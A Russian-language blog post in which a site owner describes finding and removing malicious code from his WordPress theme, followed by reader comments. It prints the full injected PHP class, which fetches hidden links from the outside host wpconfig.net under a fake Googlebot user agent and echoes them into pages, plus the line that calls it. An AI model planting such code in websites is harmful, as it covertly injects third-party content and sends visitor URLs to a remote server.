В этой стать я расскажу о вредоносном коде(вирусе), который нашел антивирус на хостинге сайта.
Прислали мне как-то письмо на почту, что у меня на сайте где-то есть зараженный файл и в нем содержится вредоносный код. Я сразу зашел на хостинг и начал смотреть более детально, какие там проблемы. Мне написали, что в файле …/functions.php у меня злой код. Я его открыл и начал искать, что же там не так. Антивирус подсветил мне строку с таким содержанием
1 |
var $host = ’wpconfig.net’; |
Т.к. я еще не сильно опытный web developer и никогда не сталкивался с этим, я сразу полез в гугл. Наткнулся там, на одну очень занимательную статью где пишут интересные вещи о моей проблеме. Прочитав ее, я понял, что мне нужно в файле …/comments.php удалить строчку с таким содержанием :
1 |
<?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links->get_remote(); echo $links; ?> |
и в файле …/function.php есть класс Get_links, его также нужно удалить:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
class Get_links { var $host = 'wpconfig.net'; var $path = '/system.php'; var $_socket_timeout = 5; function get_remote() { $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']); $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")"; $links_class = new Get_links(); $host = $links_class->host; $path = $links_class->path; $_socket_timeout = $links_class->_socket_timeout; //$_user_agent = $links_class->_user_agent; @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout', $_socket_timeout); @ini_set('user_agent', $_user_agent); if (function_exists('file_get_contents')) { $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Referer: {$req_url}\r\n". "User-Agent: {$_user_agent}\r\n" ) ); $context = stream_context_create($opts); $data = @file_get_contents('http://' . $host . $path, false, $context); preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data); $data = @$data[2]; return $data; } return '<!--link error-->'; } } |
Таким образом, я избавился от вредоносного кода. А статью, ссылку на которую я давал выше, рекомендую вам прочитать.
Так же не забудьте почитать о том Как сделать всплывающие подсказки на сайте
Спасибо! Тоже столкнулся с такой проблемой! Статья очень кстати))
У меня хоть первый блог уже давно, но каждый раз, когда приходится рыться в кодах — это головная боль. Доверить свои блоги чужим людям тоже не очень-то хочется, один раз пробовала — только деньги зря выкинула. Поэтому копаюсь только сама, спасибо за наводку, пойду-ка проверю у себя эти файлы.
Код — это самая страшная штука для меня. Проблема в том, что мой программист не всегда делает так, как мне хочется и стараюсь многое искать и давать ему для исправления. Вот и сейчас ищу проблемы, а он уже потом попозже исправит.
Во! Кстати еще как вариант, можно найти утилиту АйБолит. Скачиваеш сайт в оффлайн и запускаеш скан. Он покажет весь вредоносный код.